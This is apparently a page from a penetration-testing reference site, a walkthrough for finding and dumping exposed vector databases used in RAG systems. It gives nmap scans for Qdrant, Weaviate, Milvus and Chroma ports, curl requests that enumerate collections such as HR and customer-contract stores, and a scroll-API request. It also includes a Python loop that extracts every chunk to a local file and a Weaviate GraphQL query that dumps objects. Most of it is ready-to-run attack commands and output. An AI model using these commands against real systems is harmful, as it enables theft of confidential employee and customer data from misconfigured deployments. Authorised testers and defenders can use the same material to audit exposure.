Skip to content
HackIndex logo

HackIndex

Vector Database Query Manipulation

3 min read Mar 26, 2026

Vector databases store document embeddings and metadata alongside the raw chunk text. When these databases are exposed directly — without the RAG application as a proxy — they can be queried with arbitrary vectors, enumerated by metadata filters, or dumped entirely through their native HTTP APIs. Access to the vector database bypasses any prompt filtering, rate limiting, or access controls enforced at the application layer.

Common targets are Pinecone, Weaviate, Qdrant, Chroma, and Milvus. All expose HTTP APIs that accept unauthenticated or weakly authenticated requests in misconfigured deployments.

Identify Exposed Vector Database Interfaces

Vector databases often run on predictable ports. Scan for them during enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 6333,6334,8080,8000,19530,9200 $TARGET_IP
6333/tcp open  http    Qdrant vector database 1.7.4
8080/tcp open  http    Weaviate 1.23.0

Port 6333 is Qdrant, 8080 is commonly Weaviate, 19530 is Milvus. Chroma defaults to 8000. Hit the root or health endpoint to confirm the service and version:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:6333/ | python3 -m json.tool
{
  "title": "qdrant - vector search engine",
  "version": "1.7.4"
}
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:8080/v1/meta | python3 -m json.tool
{
  "hostname": "weaviate",
  "version": "1.23.0",
  "modules": {"text2vec-openai": {}}
}

Enumerate Collections and Schemas

List all collections or classes to understand what data is stored. Each collection typically maps to a document category, tenant, or application:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:6333/collections | python3 -m json.tool
{
  "result": {
    "collections": [
      {"name": "company_docs"},
      {"name": "hr_internal"},
      {"name": "customer_contracts"}
    ]
  }
}
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:8080/v1/schema | python3 -m json.tool

Collection names like hr_internal or customer_contracts indicate high-value data. Check collection info for size and vector configuration before querying:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:6333/collections/hr_internal | python3 -m json.tool
{
  "result": {
    "status": "green",
    "vectors_count": 14823,
    "points_count": 14823,
    "config": {"params": {"vectors": {"size": 1536, "distance": "Cosine"}}}
  }
}

Dump Chunks via Scroll API

The scroll API retrieves points in batches without requiring a query vector. This is the fastest way to extract raw chunk text and metadata from an exposed collection:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:6333/collections/hr_internal/points/scroll -H 'Content-Type: application/json' -d '{"limit":100,"with_payload":true,"with_vector":false}' | python3 -m json.tool
{
  "result": {
    "points": [
      {
        "id": "uuid-001",
        "payload": {
          "text": "Employee compensation review process. Base salaries are...",
          "source": "hr/compensation-guide.pdf",
          "page": 3
        }
      }
    ],
    "next_page_offset": "uuid-101"
  }
}

Use next_page_offset to paginate through the entire collection. Script the loop to dump all chunks to a file:

import requests, json

base = f'http://$TARGET_IP:6333/collections/hr_internal/points/scroll'
offset = None
all_chunks = []

while True:
    payload = {"limit": 100, "with_payload": True, "with_vector": False}
    if offset:
        payload["offset"] = offset
    r = requests.post(base, json=payload)
    data = r.json()["result"]
    all_chunks.extend(data["points"])
    offset = data.get("next_page_offset")
    if not offset:
        break

with open('/tmp/qdrant_dump.json', 'w') as f:
    json.dump(all_chunks, f, indent=2)
print(f'Dumped {len(all_chunks)} chunks')

Query by Arbitrary Vector (Weaviate)

When you have access to an embedding model or know the embedding dimensions, craft a zero vector or random vector query to retrieve the highest-scoring chunks without needing a real query. In Weaviate, use the GraphQL interface:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:8080/v1/graphql -H 'Content-Type: application/json' -d '{"query":"{Get{Documents(limit:50){text source _additional{certainty}}}}"}' | python3 -m json.tool

GraphQL queries with no nearVector or nearText filter return objects without similarity ranking, effectively dumping the collection. Combine with where filters to target specific metadata values such as department or access_level.

References